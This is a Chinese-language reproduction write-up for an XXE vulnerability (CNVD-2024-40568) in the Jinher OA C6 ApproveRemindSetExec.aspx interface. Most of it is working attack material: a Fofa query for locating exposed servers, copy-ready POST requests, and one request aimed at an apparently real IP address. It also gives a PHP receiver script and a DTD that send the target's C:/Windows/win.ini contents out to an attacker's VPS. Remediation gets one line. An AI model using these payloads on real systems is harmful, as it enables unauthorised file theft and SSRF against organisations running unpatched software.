Bootstrap

金和OA-C6 ApproveRemindSetExec.aspx XXE漏洞复现(CNVD-2024-40568)

0x01 产品描述:

        金和C6协同管理平台是以"精确管理思想"为灵魂,围绕“企业协同四层次理论”模型,并紧紧抓住现代企业管理的六个核心要素:文化 Culture、 沟通Communication 、 协作Collaboration 、创新 Creation、 控制 Control、中心 Center,而构建了结构化的、灵活集成的、动态响应的、面向企业运营管理的智慧协同应用管理平台。
0x02 漏洞描述:

        金和OA-C6 ApproveRemindSetExec.aspx接口存在XXE漏洞,未经授权的攻击者可利用该漏洞实现任意文件读取或ssrf。
0x03 搜索语句:

Fofa:body="c6/Jhsoft.Web.login"


0x04 漏洞复现:

利用dnslog复现

POST /c6/JHSoft.Web.AddMenu/ApproveRemindSetExec.aspx/? HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/xml

<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://123.0olbin.dnslog.cn"> %remote;]>

 

服务器快速检测: 

POST /c6/JHSoft.Web.AddMenu/ApproveRemindSetExec.aspx/? HTTP/1.1
Host: 61.133.99.56:88
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/xml

<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://your-vps:port/test.xml"> %remote;]>

利用dtd获取数据:

整体流程:poc利用个人服务器执行dtd与读取目标服务器的c盘文件内容。

Dtd内容是XXE无回显利用方式,将内容外带到其他地方,将内容通过get.php写入file.txt。

首先在vps上创建以下脚本:

<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>

 构造dtd用以读取,dtd里内容如下

<!ENTITY % all "<!ENTITY send SYSTEM 'http://your-vps:port/get.php?file=%file;'>">

构造完成后vps启动服务用于信息监听

请求构造以下数据

POST /c6/JHSoft.Web.AddMenu/ApproveRemindSetExec.aspx/? HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % remote SYSTEM "http://your-vps:port/xxe.dtd">
%remote;
%all;
]>
<root>&send;</root>

 

 获取win.ini数据

解码后

0x05 修复建议:

官方已修复该漏洞,请用户联系厂商修复漏洞:http://www.jinher.com/

;